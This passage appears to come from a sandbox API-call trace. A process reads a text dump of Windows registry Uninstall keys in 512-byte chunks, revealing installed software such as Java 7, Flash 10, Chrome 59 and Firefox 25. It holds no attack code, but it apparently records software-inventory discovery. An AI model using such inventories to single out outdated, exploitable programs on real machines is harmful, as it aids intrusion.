dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=47616) returned 1 [0151.580] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.580] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=".61030\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 14.10.25017\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170712\r\n InstallLocation R\x15") returned 512 [0151.580] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=48128) returned 1 [0151.580] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.581] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="EG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x3160\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec\x15") returned 512 [0151.581] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=48640) returned 1 [0151.581] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.581] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=".exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xe\r\n VersionMinor REG_DWORD 0xa\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xe0a61b9\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2017 x64 Additional Runtime - 14.10.25017\r\n\r\n-------- \r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\r\n\r\nH\x15") returned 512 [0151.581] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=49152) returned 1 [0151.581] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.581] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="KEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin\r\n DisplayName REG_SZ Adobe Flash Player 10 Plugin\r\n Publisher REG_SZ Adobe Systems Incorporated\r\n DisplayVersion REG_SZ 10.3.183.90\r\n HelpLink REG_SZ http://www.adobe.com/go/flashplayer_support/\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n RequiresIESysFile REG_SZ 4.70.0.1155\r\n URLInfoAbout REG_SZ http://www.adobe.com\r\n \x15") returned 512 [0151.581] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=49664) returned 1 [0151.581] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.581] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="URLUpdateInfo REG_SZ http://www.adobe.com/go/getflashplayer/\r\n VersionMajor REG_DWORD 0xa\r\n VersionMinor REG_DWORD 0x3\r\n UninstallString REG_SZ C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin\r\n DisplayIcon REG_SZ C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe\r\n EstimatedSize REG_DWORD 0x1800\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\r\n SystemComponent \x15") returned 512 [0151.581] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=50176) returned 1 [0151.581] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.581] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome\r\n DisplayName REG_SZ Google Chrome\r\n UninstallString REG_SZ \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\Installer\\setup.exe\" --uninstall --system-level --verbos\x15") returned 512 [0151.581] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=50688) returned 1 [0151.582] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.582] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="e-logging\r\n InstallLocation REG_SZ C:\\Program Files (x86)\\Google\\Chrome\\Application\r\n DisplayIcon REG_SZ C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe,0\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Google Inc.\r\n Version REG_SZ 59.0.3071.115\r\n DisplayVersion REG_SZ 59.0.3071.115\r\n InstallDate REG_SZ 20170630\r\n VersionMajor REG_DWORD 0xbff\r\n VersionMinor REG_DWORD 0x73\r\n\r\nHKEY_LOCAL_\x15") returned 512 [0151.582] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=51200) returned 1 [0151.582] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.582] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microso\x15") returned 512 [0151.582] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=51712) returned 1 [0151.582] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.582] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)\r\n Comments REG_SZ Mozilla Firefox 25.0 (x86 en-US)\r\n DisplayIcon REG_SZ C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe,0\r\n DisplayName REG_SZ Mozilla Firefox 25.0 (x86 en-US)\r\n DisplayVersion REG_SZ 25.0\r\n InstallLocation REG_SZ C:\\Program Files (x86)\\Mozilla Firefox\r\n Publisher REG_SZ Mozilla\r\n UninstallString REG_SZ \"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper\x15") returned 512 [0151.582] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=52224) returned 1 [0151.582] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.582] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=".exe\"\r\n URLInfoAbout REG_SZ https://www.mozilla.org/en-US/\r\n URLUpdateInfo REG_SZ https://www.mozilla.org/en-US/firefox/\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n EstimatedSize REG_DWORD 0xc384\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService\r\n DisplayName REG_SZ Mozilla Maintenance Service\r\n UninstallString REG_SZ \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\uninsta\x15") returned 512 [0151.582] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=52736) returned 1 [0151.582] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.582] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ll.exe\"\r\n DisplayIcon REG_SZ C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe,0\r\n DisplayVersion REG_SZ 25.0\r\n Publisher REG_SZ Mozilla\r\n Comments REG_SZ Mozilla Maintenance Service 25.0 (x86 en-US)\r\n NoModify REG_DWORD 0x1\r\n EstimatedSize REG_DWORD 0xdd\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\x15") returned 512 [0151.583] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=53248) returned 1 [0151.583] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.583] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="\\WIC\r\n NoRemove REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 12.0.21005\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate R\x15") returned 512 [0151.583] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=53760) returned 1 [0151.583] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.583] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="EG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x81c\r\n SystemComponent REG_DWORD 0x1\r\n Uninsta\x15") returned 512 [0151.583] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=54272) returned 1 [0151.583] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.583] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="llString REG_EXPAND_SZ MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xc\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xc00520d\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninsta\x15") returned 512 [0151.583] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=54784) returned 1 [0151.583] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.583] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ll\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\r\n (Default) REG_SZ KB2151757\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\r\n (Default) REG_SZ KB2467173\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\r\n (Default) REG_SZ KB2524860\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\\x15") returned 512 [0151.583] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=55296) returned 1 [0151.583] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.583] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\r\n (Default) REG_SZ KB2544655\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\r\n (Default) REG_SZ KB2549743\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\r\n (Default) REG_SZ KB2565063\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentV\x15") returned 512 [0151.584] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=55808) returned 1 [0151.584] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.584] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\r\n (Default) REG_SZ KB982573\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}\r\n DisplayIcon REG_SZ C:\\Program Files (x86)\\Java\\jre7\\\\bin\\javaws.exe\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ http://java.com\r\n DisplayVersion REG_SZ 7.0.710\r\n HelpLink REG_EXPAND_SZ http://java.com/help\r\n\x15") returned 512 [0151.584] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=56320) returned 1 [0151.584] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.584] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ C:\\Program Files (x86)\\Java\\jre7\\\r\n InstallSource REG_SZ C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_71\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Oracle\r\n Readme REG_EXPAND_SZ C:\\Program Files (x86)\\Java\\jre7\\README.txt\r\n Size REG\x15") returned 512 [0151.584] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=56832) returned 1 [0151.584] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.584] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="_SZ \r\n EstimatedSize REG_DWORD 0x1e2bf\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}\r\n URLInfoAbout REG_SZ http://java.com\r\n URLUpdateInfo REG_SZ http://java.com/verify\r\n VersionMajor REG_DWORD 0x7\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0x70002c6\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Java 7 Update 71\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTW\x15") returned 512 [0151.584] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=57344) returned 1 [0151.584] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.584] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\r\n BundleCachePath REG_SZ C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\r\n BundleUpgradeCode REG_MULTI_SZ {0B65F2F3-A845-36BB-848A-5D939826EBE4}\r\n BundleAddonCode REG_MULTI_SZ \r\n BundleDetectCode REG_MULTI_SZ \r\n BundlePatchCode REG_MULTI_SZ \r\n BundleVersion REG_SZ 11.0.61030.0\r\n BundleProviderKey REG_SZ {33d1fd90\x15") returned 512 [0151.584] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=57856) returned 1 [0151.585] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.585] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="-4274-48a1-9bc1-97e33d9c2d6f}\r\n BundleTag REG_SZ \r\n EngineVersion REG_SZ 3.6.3542.0\r\n DisplayIcon REG_SZ C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe,0\r\n DisplayName REG_SZ Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030\r\n DisplayVersion REG_SZ 11.0.61030.0\r\n Publisher REG_SZ Microsoft Corporation\r\n ModifyPath REG_SZ \"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist\x15") returned 512 [0151.585] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=58368) returned 1 [0151.585] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.585] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: 